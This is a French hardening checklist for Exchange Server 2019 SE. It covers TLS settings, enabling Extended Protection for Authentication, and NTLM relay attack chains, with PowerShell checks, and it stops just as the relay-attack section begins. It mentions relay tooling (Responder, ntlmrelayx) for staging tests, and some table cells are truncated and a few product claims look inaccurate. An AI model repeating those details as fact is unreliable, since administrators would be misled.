CHECKLIST SÉCURITÉ ANC

Checklist Durcissement Exchange Server 2019 SE

Ayi NEDJIMI Consultants — ayinedjimi-consultants.fr

Version 1.0 · Mars 2026 · 21697 mots · Format ANC

title: "Checklist Durcissement Exchange Server 2019 SE — EPA & NTLMRelayX 2026" slug: "exchange-server-2019-durcissement" description: "Checklist SOTA de durcissement Exchange Server 2019 SE : activation EPA (Extended Protection for Authentication), kill chains NTLMRelayX documentés (EWS/MAPI/OWA/Autodiscover), ProxyLogon/ProxyShell/ProxyNotShell, hardening NTLM/Kerberos, TLS, SMTP, RBAC et conformité NIS 2." version: "2.0" date: "Mars 2026" controls: 165 sections: 20 keywords: - Exchange Server 2019 SE durcissement - EPA Extended Protection for Authentication - NTLMRelayX Exchange kill chain - NTLM relay Exchange EWS MAPI OWA - ProxyLogon ProxyShell CVE-2021-26855 - Exchange hardening 2026 - PrivExchange Autodiscover relay - Exchange Server sécurité NTLM - pentest Exchange Active Directory - CU14 EPA configuration

Checklist Durcissement Exchange Server 2019 SE

Activation EPA & Kill Chains NTLMRelayX — Format ANC 2026

> ***Version** 2.0 — Mars 2026 | **165 contrôles** | **20 sections** | Exchange Server 2019 SE CU14+*

Cette checklist couvre le durcissement complet d'**Exchange Server 2019 SE** avec un focus particulier sur l'activation de l'**Extended Protection for Authentication (EPA)** et la neutralisation des **kill chains NTLMRelayX**. Elle s'adresse aux RSSI, administrateurs Exchange, pentesters et équipes Blue Team chargées de sécuriser des déploiements Exchange on-premise.

L'NTLM relay contre Exchange représente l'une des chaînes d'attaque les plus exploitées en environnement Active Directory depuis 2018 (PrivExchange), aggravée par ProxyLogon (mars 2021), ProxyShell (juillet-août 2021), ProxyNotShell (novembre 2022) et CVE-2024-21410 (NTLM relay via EPA bypass, février 2024). L'activation correcte d'EPA — disponible nativement depuis Exchange 2019 CU14 (janvier 2024) — est le contrôle le plus impactant pour bloquer ces attaques : il rend le relay NTLM structurellement impossible en liant l'authentification au canal TLS via le Channel Binding Token (CBT).

Cette checklist adopte une approche **défense en profondeur** : EPA n'est pas suffisant seul — la sécurisation complète d'Exchange nécessite également le durcissement du stack TLS, la désactivation progressive de NTLM, la configuration correcte de Kerberos et la séparation des rôles. Chaque section inclut le contexte technique, les contrôles avec commandes de vérification, les procédures de remédiation et les effets de bord documentés.

Légende des Priorités

Priorité	Signification	Délai de remédiation recommandé	Impact si non appliqué
🔴 **CRITIQUE**	Exploitable immédiatement, impact maximal	< 48 heures	Compromission potentielle Exchange / AD
🟠 **HAUTE**	Impact significatif, vecteur d'attaque documenté	< 30 jours	Élévation de privilèges, exfiltration données
🟡 **MOYENNE**	Bonne pratique, réduit la surface d'attaque	< 90 jours	Augmentation de la surface d'attaque
🟢 **BASSE**	Optimisation sécurité, moindre impact	< 180 jours	Conformité, maturité sécurité

Mode Rapide — 12 Contrôles Prioritaires pour Remédiation Immédiate

Si vous n'avez que 48 heures pour sécuriser Exchange, commencez par ces 12 contrôles qui neutralisent les vecteurs d'attaque les plus critiques. Ils sont classés par ordre d'impact décroissant et peuvent être appliqués sans interruption de service majeure.

#	Contrôle	Commande Express	Impact
1	**Activer EPA Require sur tous les VD Exchange**	`Set-ExtendedProtectionConfig` (CU14 requis)	Bloque 100% des relays NTLM EWS/MAPI/OWA
2	**Appliquer toutes les SU Exchange manquantes**	Télécharger depuis MSRC mensuel	Ferme ProxyLogon, ProxyShell, ProxyNotShell
3	**Désactiver NTLMv1 via GPO**	`LmCompatibilityLevel = 5`	Bloque downgrade et Pass-the-Hash NTLMv1
4	**Désactiver LLMNR et NetBIOS**	GPO + registry interface	Supprime le vecteur d'interception NTLM
5	**Activer SMB Signing obligatoire**	`RequireSecuritySignature = $true`	Bloque relay SMB depuis Exchange
6	**LDAP Signing + Channel Binding sur DC**	KB4520412 + GPO DC	Bloque PrivExchange (CVE-2019-0686)
7	**Supprimer WriteDacl Exchange sur domaine AD**	Revue ACE AD + suppression	Bloque DCSync via PrivExchange
8	**Restreindre ECP aux IPs admin**	IIS IP Restriction sur /ecp/	Neutralise ProxyLogon sans patch
9	**Activer MFA sur OWA**	ADFS MFA / Azure MFA	Bloque l'accès OWA même avec credential volé
10	**Activer Admin Audit Log (90 jours)**	`Set-AdminAuditLogConfig -Enabled $true`	Détection post-incident
11	**Bloquer Basic Auth sur OWA/EWS**	`Set-OwaVirtualDirectory -BasicAuthentication $false`	Supprime auth relayable en clair
12	**Activer Windows Defender pour Exchange**	Windows Security Center	Détection webshells et exploitation

Architecture de Sécurité Exchange — Vue d'Ensemble

Avant d'aborder les contrôles individuels, il est essentiel de comprendre l'architecture d'Exchange Server 2019 et les points d'attaque associés. Exchange 2019 est une application **multi-couches** qui expose de nombreux endpoints HTTP via IIS, chacun avec son propre mécanisme d'authentification et sa surface d'attaque.

```
Internet
    |
    ▼
[WAF / Reverse Proxy]          ← Première ligne de défense
    |
    ▼
[IIS Exchange Frontend]
 ├── /owa/          → OWA (Outlook Web App)        Auth: Forms + NTLM/Kerberos
 ├── /ecp/          → ECP (Exchange Control Panel) Auth: Forms + NTLM/Kerberos [CRITIQUE]
 ├── /ews/          → EWS (Exchange Web Services)  Auth: NTLM/Kerberos/OAuth
 ├── /mapi/         → MAPI over HTTP               Auth: NTLM/Kerberos
 ├── /autodiscover/ → Autodiscover                 Auth: NTLM/Kerberos [PrivExchange]
 ├── /powershell/   → Remote PowerShell            Auth: NTLM/Kerberos
 └── /microsoft-server-activesync/ → EAS           Auth: Basic/NTLM/Kerberos
    |
    ▼
[Exchange Backend / Mailbox Role]
    |
    ▼
[Active Directory / LDAP / Kerberos]   ← Cible finale des attaques relay
```

Chemins d'attaque principaux : 1. **NTLM Relay → Exchange** : capturer auth NTLM, relayer vers EWS/MAPI → accès boîte mail 2. **NTLM Relay Exchange → AD** : forcer Exchange à s'authentifier, relayer vers LDAP/DC → DCSync 3. **ProxyLogon** : SSRF pre-auth → bypass auth → webshell 4. **ProxyShell** : ACL bypass + élévation EWS + désérialisation → RCE 5. **Credential Spray OWA** : brute force sans lockout si pas de MFA

Section S01 — Inventaire et Pré-requis

Contexte

Avant tout durcissement, cartographiez précisément le déploiement Exchange. Exchange 2019 SE est un produit complexe : il expose des dizaines d'endpoints IIS, s'intègre profondément à Active Directory, utilise des certificats TLS multiples, et interagit avec les clients Outlook via plusieurs protocoles (MAPI/HTTP, EWS, SMTP, EAS). Un inventaire lacunaire mène à des angles morts sécuritaires : un serveur Exchange oublié dans un sous-réseau "lab" sans les dernières SU est aussi dangereux qu'une brèche ouverte.

Exchange Server 2019 SE (Special Edition, anciennement appelé "Exchange Server 2019 Subscription Edition") suit depuis 2023 un modèle de licencing basé sur l'abonnement Microsoft 365 avec des droits on-premise. Il nécessite Windows Server 2019 ou 2022, .NET Framework 4.8.1+, et Visual C++ Redistributable 2012/2013.

Cycle de mise à jour Exchange 2019 : - **Cumulative Updates (CU)** : publiées deux fois par an (Q1 et Q3), contiennent les nouvelles fonctionnalités et correctifs accumulés - **Security Updates (SU)** : publiées mensuellement dans le cycle Patch Tuesday, s'appliquent par-dessus le CU installé - **Emergency Updates** : publiées hors cycle pour les vulnérabilités critiques (comme ProxyLogon en mars 2021)

La version **CU14** (publiée avec la SU de janvier 2024) est la première à intégrer nativement la cmdlet `Set-ExtendedProtectionConfig` pour configurer EPA. Elle est obligatoire pour les sections EPA de cette checklist.

Vérification de la version installée :

```
# Version Exchange
Get-ExchangeServer | Select Name, AdminDisplayVersion, ServerRole, Site

# Exemple de sortie attendue (CU14+) :
# Name         : EXCH01
# AdminDisplayVersion : Version 15.2 (Build 1258.32)  ← CU14
# ServerRole   : Mailbox
# Site         : Default-First-Site-Name

# Vérification .NET Framework
(Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full').Release
# 533320 = .NET 4.8.1 (requis CU14+)
# 528040 = .NET 4.8   (insuffisant pour CU14)
```

Base de référence des versions CU Exchange 2019 :

Version	CU	Date	Build
Exchange 2019 SE CU14	CU14	Jan 2024	15.2.1258.x
Exchange 2019 SE CU13	CU13	Mai 2023	15.2.1237.x
Exchange 2019 SE CU12	CU12	Nov 2022	15.2.1118.x
Exchange 2019 CU11	CU11	Sep 2021	15.2.986.x

Contrôles

ID	Contrôle	Priorité	Source	Commande de Vérification
EX-S01-C001	Identifier la version Exchange installée et le Cumulative Update actif sur chaque serveur	🔴 CRITIQUE	Microsoft Exchange Docs	`Get-ExchangeServer | Select Name,AdminDisplayVersion,ServerRole`
EX-S01-C002	Vérifier que toutes les Security Updates Exchange sont appliquées (liste MSRC mensuelle)	🔴 CRITIQUE	Microsoft MSRC	`Get-HotFix | Where Description -eq 'Security Update' | Sort InstalledOn -Descending | Select HotFixID,InstalledOn | head 20`
EX-S01-C003	Vérifier la version .NET Framework (≥ 4.8.1 pour CU14, Release ≥ 533320)	🔴 CRITIQUE	Exchange 2019 Prerequisites	`(Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full').Release`
EX-S01-C004	Inventorier tous les rôles Exchange déployés (Mailbox, Edge Transport)	🟠 HAUTE	Exchange Architecture Docs	`Get-ExchangeServer | Select Name,ServerRole,AdminDisplayVersion,Site`

ID	Contrôle	Priorité	Source	Commande de Vérification
EX-S01-C005	Documenter la topologie réseau Exchange (internal/external URLs, load balancers, NAT)	🟠 HAUTE	Exchange Deployment Planning	`Get-ClientAccessService | Select Name,*URL*`
EX-S01-C006	Inventorier tous les certificats TLS Exchange et leurs dates d'expiration	🔴 CRITIQUE	RFC 5280, Exchange TLS Docs	`Get-ExchangeCertificate | Select Thumbprint,Subject,NotAfter,Services,IsSelfSigned`
EX-S01-C007	Vérifier la topologie DAG (Database Availability Group) et la résilience des mailbox databases	🟡 MOYENNE	Exchange HA Docs	`Get-DatabaseAvailabilityGroup | Select Name,Servers,WitnessServer`
EX-S01-C008	Inventorier les connecteurs SMTP (Send/Receive) et leurs permissions d'authentification	🟠 HAUTE	Exchange Transport Docs	`Get-ReceiveConnector | Select Name,Bindings,AuthMechanism,PermissionGroups,RemoteIPRanges`
EX-S01-C009	Documenter tous les comptes de service Exchange et leurs permissions Active Directory	🔴 CRITIQUE	Exchange Permissions Docs	`Get-ADUser -Filter {Description -like '*Exchange*'} -Properties MemberOf,PasswordLastSet`
EX-S01-C010	Vérifier la configuration Autodiscover (interne et externe) et les méthodes d'authentification exposées	🔴 CRITIQUE	CVE-2019-0686 PrivExchange	`Get-ClientAccessService | Select AutoDiscoverServiceInternalUri,AutoDiscoverServiceExternalUri`

Procédure de Remédiation — Inventaire Initial

Si vous découvrez des serveurs Exchange hors CU courant :

```
# 1. Identifier les serveurs Exchange hors SU
$latestSU = "KB5035233"  # Remplacer par la dernière SU MSRC du mois
Get-ExchangeServer | ForEach-Object {
    $srv = $_.Name
    $hotfix = Invoke-Command -ComputerName $srv {
        Get-HotFix -Id $using:latestSU -ErrorAction SilentlyContinue
    }
    [PSCustomObject]@{
        Server = $srv
        LatestSU = if ($hotfix) { "✅ Installé" } else { "❌ MANQUANT" }
        AdminDisplayVersion = $_.AdminDisplayVersion
    }
}

# 2. Télécharger la SU depuis le MSRC
# https://msrc.microsoft.com/update-guide/releaseNote/exchange-server
# Appliquer : .\ExchangeUpdate.msp (en tant qu'administrateur Exchange)
```

Effets de Bord

- Un inventaire incomplet masque des instances Exchange "shadow" (environnement lab, ancienne CU) laissées accessibles en réseau. Ces instances non patchées sont fréquemment le vecteur d'attaque initial (ProxyLogon exploité sur l'instance lab, puis mouvement latéral vers la prod).
- Les SU Exchange s'appliquent par-dessus le CU installé — une SU pour CU14 n'est pas compatible avec CU12. Vérifier le CU avant d'appliquer la SU.
- Sur un DAG, appliquer la SU sur un serveur à la fois en mode maintenance pour éviter l'interruption de service.

Section S02 — Configuration TLS et Chiffrement

Contexte

Exchange Server 2019 utilise TLS pour la totalité de ses communications : client-serveur (OWA, EAS, EWS, MAPI/HTTP, PowerShell remoting), serveur-serveur (SMTP opportuniste avec STARTTLS, réplication DAG) et internes (backend proxy calls). La configuration TLS est critique pour deux raisons complémentaires :

1. Confidentialité et intégrité : sans TLS fort, les credentials échangés via NTLM ou Basic Auth sont visibles ou relayables sur le réseau.

2. Prérequis pour EPA : EPA repose sur le **TLS Channel Binding Token (CBT)**, qui est le hash SHA-256 du certificat TLS du serveur (précisément : le hash de l'encodage DER du certificat). Si TLS n'est pas actif ou si le certificat est incorrect, EPA ne peut pas fonctionner. Plus important encore : si un attaquant peut contourner TLS (downgrade SSLv3, TLS 1.0, cipher NULL), le CBT n'est plus protecteur — un attackant MITM peut intercepter le CBT et le réutiliser dans le relay.

Recommandations algorithmiques ANSSI (Guide TLS 2024) : - **Obligatoire** : TLS 1.2 avec AEAD (AES-GCM, ChaCha20-Poly1305) - **Recommandé** : TLS 1.3 (cipher suites réduites et sécurisées par défaut) - **Interdit** : SSLv2, SSLv3, TLS 1.0, TLS 1.1 - **Interdit** : ciphers NULL, EXPORT, DES, 3DES, RC4, RC2, IDEA - **Forward Secrecy** : préférer ECDHE > DHE > RSA (RSA key exchange = pas de PFS)

Outil de configuration recommandé — IIS Crypto (Nartac Software) : IIS Crypto permet de configurer les protocoles et ciphers SCHANNEL via une interface graphique ou en ligne de commande, avec des templates CIS/Best Practices/PCI DSS. Alternative : utiliser les GPO `SSL Configuration` ou le module PowerShell `PsWindowsUpdate`.

Commande PowerShell de vérification TLS (exemple) :

```
# Vérifier les protocoles SCHANNEL activés
$protocols = @('SSL 2.0', 'SSL 3.0', 'TLS 1.0', 'TLS 1.1', 'TLS 1.2', 'TLS 1.3')
foreach ($proto in $protocols) {
    $path = "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\$proto\Server"
    $enabled = (Get-ItemProperty $path -Name Enabled -ErrorAction SilentlyContinue).Enabled
    $disabled = (Get-ItemProperty $path -Name DisabledByDefault -ErrorAction SilentlyContinue).DisabledByDefault
    Write-Host "$proto : Enabled=$enabled, DisabledByDefault=$disabled"
}
```

Test externe avec testssl.sh :

```
# Depuis un poste Linux/WSL, tester le serveur Exchange exposé
testssl.sh --full --fast https://mail.corp.local/owa/

# Points clés à vérifier dans le rapport :
#   Protocol Support: SSLv3=No, TLS 1.0=No, TLS 1.1=No, TLS 1.2=Yes, TLS 1.3=Yes
#   Forward Secrecy: ✅ offered
#   Cipher order: ✅ server determines cipher order
#   BEAST: not vulnerable
#   POODLE, DROWN, FREAK: not vulnerable
```

Contrôles

ID	Contrôle	Priorité	Source	Commande de Vérification
EX-S02-C001	Désactiver SSLv2 et SSLv3 via le registre SCHANNEL sur Exchange	🔴 CRITIQUE	NIST SP 800-52r2, CIS Exchange	`reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Pr 3.0\Server' /v Enabled` → doit être 0
EX-S02-C002	Désactiver TLS 1.0 et TLS 1.1 (conserver TLS 1.2 et TLS 1.3 uniquement)	🔴 CRITIQUE	NIST SP 800-52r2, PCI DSS 4.0 §6.2.4	`reg query 'HKLM\...\TLS 1.0\Server' /v Enabled` → 0
EX-S02-C003	Configurer les cipher suites TLS 1.2 avec AES-256-GCM-SHA384 en tête de liste	🟠 HAUTE	ANSSI TLS Guide 2024, NIST SP 800-52r2	`Get-TlsCipherSuite | Select Name,Certificate,Exchange,Hash | Form`
EX-S02-C004	Désactiver les ciphers NULL, EXPORT (40/56 bits), DES, RC4, 3DES, IDEA	🔴 CRITIQUE	NIST SP 800-52r2 §3.3, PCI DSS 4.0	`Get-TlsCipherSuite | Where {$_.Name -match 'NULL|EXPORT|DES|RC4` liste vide
EX-S02-C005	Vérifier que le certificat Exchange utilise RSA ≥ 2048 bits ou ECDSA P-256/ P-384	🔴 CRITIQUE	NIST SP 800-57, CA/ B Forum Baseline Req.	`Get-ExchangeCertificate | Select Subject,PublicKeySize,SignatureAl`

ID	Contrôle	Priorité	Source	Commande de Vérification
EX-S02-C006	Configurer HSTS (Strict-Transport-Security: max-age=31536000) sur OWA et ECP via IIS	🟠 HAUTE	OWASP HSTS, MDN Web Docs	`curl -I https://mail.corp.local/owa/ | grep -i strict` → `Strict-Tr` `Security: max-age=...`
EX-S02-C007	Vérifier que le certificat SAN couvre tous les URL Exchange (mail, autodiscover, owa, etc.)	🟠 HAUTE	RFC 5280 §4.2.1.6, Exchange TLS Docs	`Get-ExchangeCertificate | Select CertificateDomains` → vérifier cober
EX-S02-C008	Activer SMTP STARTTLS (TLS opportuniste) sur tous les connecteurs Send externe	🟠 HAUTE	RFC 3207, Exchange Transport Security	`Get-SendConnector | Select Name,TlsDomain,TlsAuthLevel,RequireTLS`
EX-S02-C009	Configurer SMTP MTA-STS pour le domaine principal Exchange (RFC 8461)	🟡 MOYENNE	RFC 8461, SMTP MTA Strict Transport	`Resolve-DnsName -Name '_mta-sts.corp.local' -Type TXT`
EX-S02-C010	Tester la configuration TLS Exchange avec testssl.sh (depuis un poste externe au réseau Exchange)	🟠 HAUTE	CIS Benchmark, OWASP TLS Testing	`testssl.sh --full https://mail.domain.com/owa/`
EX-S02-C011	Vérifier que SMTP AUTH n'est pas exposé sur les Receive Connectors publics (frontend)	🔴 CRITIQUE	Exchange Transport Security, CIS	`Get-ReceiveConnector -Server $srv \| Where {$_.Bindings -like '*:25` `Select AuthMechanism` → ne doit pas contenir `BasicAuth`
EX-S02-C012	Activer Perfect Forward Secrecy (ECDHE en priorité, DHE en fallback) dans les ciphers TLS	🟠 HAUTE	ANSSI TLS Guide §3.2, NIST SP 800-52r2	Vérifier l'ordre des ciphers : `ECDHE-RSA-AES256-GCM-SHA384` doit être premie

Procédure de Remédiation TLS — Séquence Recommandée

La désactivation de TLS 1.0/1.1 sur Exchange nécessite une démarche progressive pour éviter de casser les clients :

```
# Étape 1 : Auditer les clients qui utilisent TLS 1.0/1.1
# Analyser les logs IIS pour identifier les clients avec old TLS
Get-ChildItem "C:\inetpub\logs\LogFiles\W3SVC1\" -Filter "*.log" |
    Select-Object -Last 7 |
    ForEach-Object { Get-Content $_.FullName } |
    Where-Object { $_ -match "TLSv1\b|SSLv3" } |
    Select-Object -First 100

# Étape 2 : Mode audit (log seulement, pas de blocage)
# Utiliser l'event log SCHANNEL pour identifier les connexions TLS 1.0
# Event ID 36880 = connexion TLS établie (contient la version)

# Étape 3 : Désactivation progressive
# D'abord TLS 1.0 côté SERVER (les clients qui ne supportent que 1.0 échouent)
$path = "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.0\Server"
New-Item -Path $path -Force | Out-Null
Set-ItemProperty -Path $path -Name Enabled -Value 0 -Type DWORD
Set-ItemProperty -Path $path -Name DisabledByDefault -Value 1 -Type DWORD

# Redémarrer le service IIS (sans redémarrage serveur complet)
iisreset /noforce

# Étape 4 : Valider avec testssl.sh depuis l'extérieur
# Étape 5 : Répéter pour TLS 1.1
```

Effets de Bord

- La désactivation de TLS 1.0 peut casser les clients suivants : **Outlook 2013 sans patch KB3140245**, **iOS < 11**, **Android < 5.0**, **certains scanners réseau et imprimantes multifonctions**. Auditer les clients AVANT de désactiver.
- HSTS avec `includeSubDomains` peut bloquer les sous-domaines internes accessibles uniquement en HTTP (ex : portail intranet admin) — vérifier la configuration DNS et HTTP avant d'activer `includeSubDomains`.
- Le certificat doit couvrir tous les noms DNS utilisés par Autodiscover — un SAN manquant génère une erreur de certificat dans Outlook qui peut masquer une attaque MITM légitime.

Section S03 — EPA (Extended Protection for Authentication) — Configuration Complète

Contexte

L'**Extended Protection for Authentication (EPA)** est le contrôle de sécurité le plus impactant disponible pour Exchange Server 2019. Il a été développé par Microsoft pour contrer les attaques NTLM relay qui, malgré leur ancienneté (décrit dans RFC 4559 dès 2006), continuent d'être massivement exploitées contre Exchange.

Mécanisme technique d'EPA :

EPA combine deux liaisons de sécurité complémentaires qui rendent le replay NTLM techniquement impossible :

1. Channel Binding (CBT — Channel Binding Token) Le CBT est calculé comme le hash SHA-256 du certificat TLS du serveur cible, encodé dans une structure spécifique (`tls-unique` ou `tls-server-end-point`). Ce hash est inclus dans le message NTLM `AUTHENTICATE` envoyé par le client. Quand le serveur reçoit l'authentification, il vérifie que le CBT correspond à son propre certificat TLS. Un attaquant qui intercepte un

message NTLM d'un client vers le serveur A et tente de le relayer vers le serveur B ne peut pas modifier le CBT (il est protégé par la signature NTLM) — le serveur B rejette l'authentification car le CBT ne correspond pas à son certificat.

2. Service Binding (SPN — Service Principal Name) Le Service Binding vérifie que le SPN inclus dans l'authentification Kerberos correspond au service demandé. Cela empêche le relay cross-service (ex : capturé depuis un service HTTP puis relayé vers LDAP).

Pourquoi EPA était désactivé par défaut avant CU14 : Microsoft a progressivement activé EPA depuis Windows Server 2012 (KB2793313), mais sur Exchange, EPA était désactivé par défaut à cause de la complexité des environnements hybrides (load balancers, proxies, configurations multi-sites). Certains scénarios de déploiement (TLS offloading, proxies inverses qui terminent TLS) sont incompatibles avec EPA en mode `Require` car le CBT du proxy ne correspond pas au certificat Exchange backend.

Commande de configuration EPA (CU14+) :

La cmdlet `Set-ExtendedProtectionConfig` est disponible depuis Exchange 2019 CU14 avec la SU de janvier 2024 :

```
# Vérifier la version avant de lancer (CU14 requis)
Get-ExchangeServer | Select AdminDisplayVersion
# → doit afficher 15.2.1258.x ou supérieur

# Configurer EPA sur tous les Virtual Directories d'un serveur
# Mode : Require (le plus strict), Allow (compatible ancien), Off (interdit)
Set-ExtendedProtectionConfig -VirtualDirectory OWA -ExtendedProtection Require -Server EXCH01
Set-ExtendedProtectionConfig -VirtualDirectory EWS -ExtendedProtection Require -Server EXCH01
Set-ExtendedProtectionConfig -VirtualDirectory MAPI -ExtendedProtection Require -Server EXCH01
Set-ExtendedProtectionConfig -VirtualDirectory ECP -ExtendedProtection Require -Server EXCH01
Set-ExtendedProtectionConfig -VirtualDirectory Autodiscover -ExtendedProtection Require -Server EXCH01
Set-ExtendedProtectionConfig -VirtualDirectory PowerShell -ExtendedProtection Require -Server EXCH01
Set-ExtendedProtectionConfig -VirtualDirectory 'Microsoft-Server-ActiveSync' -ExtendedProtection Require -Server
EXCH01
Set-ExtendedProtectionConfig -VirtualDirectory OAB -ExtendedProtection Require -Server EXCH01

# Vérification globale de l'état EPA
Get-ExtendedProtectionConfig | Select VirtualDirectory, ExtendedProtection, Server

# Exemple de sortie attendue (tous en Require) :
# VirtualDirectory     ExtendedProtection  Server
# ----------------     ------------------  ------
# OWA                  Require             EXCH01
# EWS                  Require             EXCH01
# MAPI                 Require             EXCH01
# ECP                  Require             EXCH01
# Autodiscover         Require             EXCH01
# PowerShell           Require             EXCH01
# Microsoft-Server-A.. Require             EXCH01
# OAB                  Require             EXCH01
```

Vérification du côté IIS (Channel Binding Level) :

EPA côté IIS se configure au niveau du module d'authentification Windows. Le paramètre `Extended Protection` dans IIS doit être `Always` (= Require) pour que le CBT soit obligatoire :

```
# Vérifier la configuration IIS Windows Authentication sur OWA
Import-Module WebAdministration
$site = "Default Web Site"
$app = "owa"
$auth = Get-WebConfiguration -Filter "system.webServer/security/authentication/windowsAuthentication" -PSPath
"IIS:\Sites\$site\$app"
Write-Host "Extended Protection: $($auth.extendedProtection.tokenChecking)"
# → doit afficher "Require"

# Si "None" ou "Allow", corriger :
Set-WebConfiguration -Filter "system.webServer/security/authentication/windowsAuthentication/extendedProtection" `
  -PSPath "IIS:\Sites\$site\$app" -Value @{tokenChecking="Require"}
```

Contrôles

ID	Contrôle	Priorité	Source CVE / Doc	Commande de Vérification	Effet de Bord Potentiel
EX-S03-C001	Vérifier Exchange 2019 CU14+ installé (prérequis EPA natif, Build ≥ 15.2.1258.x)	🔴 CRITIQUE	Microsoft Exchange Blog Jan 2024	`Get-ExchangeServer | Select AdminDisplayVersion`	Mise à niveau CU nécessaire si < CU14
EX-S03-C002	Activer EPA `Require` sur le VD OWA (Outlook Web App)	🔴 CRITIQUE	CVE-2023-36778, MS Exchange Blog	`Get-ExtendedProtectionConfig | Where VirtualDirectory -eq 'OWA'` → `Require`	Clients IE/Edge anciens sans support EPA échouent
EX-S03-C003	Activer EPA `Require` sur le VD EWS (Exchange Web Services)	🔴 CRITIQUE	CVE-2019-0686, NTLMRelayX KC-01	`Get-ExtendedProtectionConfig | Where VirtualDirectory -eq 'EWS'` → `Require`	Applications EWS tierces sans EPA échouent
EX-S03-C004	Activer EPA `Require` sur le VD MAPI (Outlook 2013+)	🔴 CRITIQUE	NTLMRelayX KC-02	`Get-ExtendedProtectionConfig | Where VirtualDirectory -eq 'MAPI'` → `Require`	Outlook 2013 RTM (sans patch) peut échouer
EX-S03-C005	Activer EPA `Require` sur le VD ECP (Exchange Control Panel)	🔴 CRITIQUE	ProxyLogon + NTLM relay vers ECP	`Get-ExtendedProtectionConfig | Where VirtualDirectory -eq 'ECP'` → `Require`	Aucun impact si admin utilise navigateurs modernes
EX-S03-C006	Activer EPA `Require` sur le VD Autodiscover	🔴 CRITIQUE	CVE-2019-0686 PrivExchange	`Get-ExtendedProtectionConfig | Where VirtualDirectory -eq 'Autodiscover'` → `Require`	Clients Autodiscover sans EPA doivent être mis à jour

ID	Contrôle	Priorité	Source CVE / Doc	Commande de Vérification	Effet de Bord Potentiel
EX-S03-C007	Activer EPA `Require` sur le VD ActiveSync (EAS)	🟠 HAUTE	NTLMRelayX mobile relay	`Get-ExtendedProtectionConfig | Where VirtualDirectory -eq 'Microsoft-Server-ActiveSync'`	Clients mobiles anciens (iOS < 15, Android < 10) peuvent échouer
EX-S03-C008	Activer EPA `Require` sur le VD OAB (Offline Address Book)	🟠 HAUTE	NTLM relay OAB endpoint	`Get-ExtendedProtectionConfig | Where VirtualDirectory -eq 'OAB'` → `Require`	Impact minimal (téléchargement carnet adresses)
EX-S03-C009	Activer EPA `Require` sur le VD PowerShell (Remote PowerShell Exchange)	🔴 CRITIQUE	ProxyShell RCE via PS relay	`Get-ExtendedProtectionConfig | Where VirtualDirectory -eq 'PowerShell'` → `Require`	Scripts PowerShell remoting sans EPA doivent être mis à jour
EX-S03-C010	Vérifier l'état EPA sur TOUS les VD Exchange après configuration (aucun en Off/Allow)	🔴 CRITIQUE	Post-configuration validation	`Get-ExtendedProtectionConfig | Where ExtendedProtection -ne 'Require'` → liste vide	—
EX-S03-C011	Vérifier IIS Windows Auth avec CBT Level `Always` sur chaque VD	🔴 CRITIQUE	IIS Windows Auth EPA Docs	`(Get-WebConfiguration -Filter 'system.webServer/security/authentication/windowsAuthentication' -PSPath 'IIS:\Sites\Default Web Site\owa').extendedProtection.tokenChecking` → `Require`	—
EX-S03-C012	Tester EPA avec Responder + ntlmrelayx en staging (les relays doivent échouer avec 401)	🟠 HAUTE	Pentest EPA Validation	Exécuter kill chain KC-01 en staging avec EPA=Require → doit retourner NTLM error	—
EX-S03-C013	Vérifier la compatibilité EPA avec les clients modernes (Outlook 2019+, Outlook 365 Apps)	🟠 HAUTE	Microsoft Compatibility Matrix	Test fonctionnel Outlook après activation EPA → doit fonctionner normalement	Outlook 2016 RTM (sans patch) peut avoir des problèmes

ID	Contrôle	Priorité	Source CVE / Doc	Commande de Vérification	Effet de Bord Potentiel
EX-S03-C014	Documenter les exceptions EPA temporaires avec justification et date de remédiation planifiée	🟡 MOYENNE	Change Management	Tableau des exceptions EPA avec `Allow` temporaire : système, justification, échéance	—
EX-S03-C015	Monitoring des tentatives d'auth EPA rejetées (Event ID 4625, substatus 0xC000015B)	🟠 HAUTE	Windows Security Events, SIEM	`Get-WinEvent -FilterHashtable @{LogName='Security';Id=4625} | Where {$_.Message -like '*0xC000015B*'}`	—

Cas Particulier : EPA et Load Balancer / TLS Offloading

Si Exchange est derrière un load balancer qui **termine TLS** (TLS offloading), le CBT calculé par le client correspond au certificat du load balancer, pas au certificat Exchange backend. Dans ce cas, EPA `Require` côté Exchange sera rejeté car le CBT ne match pas.

Options : 1. **Solution préférée** : Configurer le load balancer en **TLS Passthrough** (Layer 4) — TLS est terminé directement sur Exchange, EPA fonctionne normalement. 2. **Si TLS Offloading obligatoire** : Configurer EPA à `Allow` (pas à `Require`) — EPA est activé mais pas requis. Cela permet aux clients qui supportent EPA de bénéficier de la protection, mais ne bloque pas ceux qui ne le font pas. Moins protecteur mais mieux que `Off`. 3. **Avec F5/Nginx Enterprise** : Certains load balancers supportent la transmission du CBT via des en-têtes HTTP personnalisés — vérifier la documentation du fournisseur.

```
# Vérifier si un load balancer termine TLS avant Exchange
# Comparer le certificat vu par Exchange vs le certificat vu par le client
openssl s_client -connect mail.domain.com:443 -showcerts < /dev/null 2>/dev/null | \
  openssl x509 -noout -fingerprint -sha256
# Si différent du certificat Exchange : TLS offloading détecté → EPA Allow seulement
```

Effets de Bord EPA

- EPA `Require` sur ActiveSync peut bloquer les **clients mobiles anciens** (iOS < 14, certains clients Exchange EAS tiers) — préférer un rollout en `Allow` puis `Require` après migration des clients.
- Les **applications tierces** accédant à EWS sans support EPA (workflows, archivage, DLP) doivent être mises à jour — faire un inventaire des applications EWS avant d'activer EPA `Require` sur EWS.
- EPA `Require` est **incompatible avec Outlook Anywhere (RPC/HTTP)** — mais celui-ci est supprimé dans Exchange 2019, donc non applicable.
- La configuration EPA doit être appliquée sur **chaque serveur Exchange** du DAG séparément.

Section S04 — Kill Chains NTLMRelayX — Analyse Complète et Neutralisation

Contexte

ntlmrelayx.py (partie du toolkit Impacket, maintenu par Fortra/SecureAuth) est l'outil de référence pour les attaques de relay NTLM. Contre Exchange Server 2019, il exploite le fait que les Virtual Directories IIS Exchange acceptent l'authentification NTLM — un mécanisme challenge-response fondamentalement relayable car il n'est pas lié au canal de transport (à moins qu'EPA soit activé).

Pourquoi NTLM est relayable (rappel technique) :

